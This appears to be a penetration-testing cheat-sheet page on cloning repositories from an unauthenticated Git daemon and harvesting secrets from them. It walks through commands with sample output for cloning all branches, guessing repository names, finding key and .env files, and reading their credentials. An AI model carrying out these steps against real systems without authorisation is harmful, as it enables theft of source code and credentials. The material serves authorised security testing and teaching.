Skip to content
HackIndex logo

HackIndex

Git Repository Cloning

2 min read Apr 4, 2026

Unauthenticated access to a Git daemon repository means the full source code, complete commit history, all branches, all tags, and all stashes are available for download. The current files on the default branch are only a fraction of what is accessible — secrets removed in past commits, credentials in old config files, and tokens in deleted branches all remain in the history. A full clone is always required for complete secret mining. Confirm repository names through repository enumeration first.

Clone the Full Repository

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/git_loot && cd /tmp/git_loot
┌──(kali㉿kali)-[~]
└─$ git clone git://$TARGET_IP/repo.git
┌──(kali㉿kali)-[~]
└─$ cd repo && git log --oneline | wc -l 
Cloning into 'repo'...
remote: Counting objects: 1247, done.
remote: Total 1247 (delta 0), reused 1247 (delta 0)
342

Clone All Branches

A standard clone only checks out the default branch. Fetch all remote branches to ensure the complete history is available locally:

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ git fetch --all
┌──(kali㉿kali)-[~]
└─$ git branch -r 
  origin/HEAD -> origin/main
  origin/main
  origin/develop
  origin/feature/payment-integration
  origin/staging
┌──(kali㉿kali)-[~]
└─$ # Check out each remote branch locally
┌──(kali㉿kali)-[~]
└─$ for branch in $(git branch -r | grep -v HEAD | sed 's/origin\///'); do
git checkout -b $branch origin/$branch 2>/dev/null
done
┌──(kali㉿kali)-[~]
└─$ git branch 
* main
  develop
  feature/payment-integration
  staging

Clone Multiple Repositories

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot
┌──(kali㉿kali)-[~]
└─$ for repo in repo config webapp api; do
git clone git://$TARGET_IP/$repo.git 2>/dev/null && echo "Cloned: $repo" || echo "Not found: $repo"
done 
Cloned: repo
Not found: config
Cloned: webapp
Not found: api

Quick File Scan After Clone

Before running full secret mining tools, do a quick scan of the current working tree for obviously sensitive files:

┌──(kali㉿kali)-[~]
└─$ find /tmp/git_loot/ -type f -name '*.env' -o -name '*.pem' -o -name '*.key' -o -name 'id_rsa' -o -name '*.conf' -o -name 'config.yml' -o -name 'database.yml' 2>/dev/null 
/tmp/git_loot/repo/.env
/tmp/git_loot/repo/config/database.yml
/tmp/git_loot/webapp/config.yml
┌──(kali㉿kali)-[~]
└─$ cat /tmp/git_loot/repo/.env 
DB_HOST=10.10.10.20
DB_DATABASE=webapp
DB_USERNAME=webapp_user
DB_PASSWORD=SuperSecret123!
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalr...

Credentials in the current working tree are an immediate finding. The full history may contain additional secrets that were removed — move to history secret mining to scan every commit.

References